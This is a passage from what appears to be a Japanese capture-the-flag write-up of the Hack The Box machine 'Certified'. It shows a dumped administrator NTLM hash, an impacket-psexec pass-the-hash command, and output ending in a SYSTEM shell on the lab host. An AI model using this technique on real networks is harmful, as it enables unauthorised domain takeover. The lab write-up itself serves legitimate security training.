[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
Pass-The-Hash
取得したNTLMハッシュを使用して impacket-psexec で Pass-The-Hash攻撃 を行います。
┌──(kali㉿kali)-[~]
└─$ impacket-psexec -hashes :0d5b49608bbce1751f708748f67e2d34 Administrator@10.10.11.41
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.11.41.....
[*] Found writable share ADMIN$
[*] Uploading file yggSRFrO.exe
[*] Opening SVCManager on 10.10.11.41.....
[*] Creating service KeUm on 10.10.11.41.....
[*] Starting service KeUm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6414]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
SYSTEM権限でのシェルを取得することができました。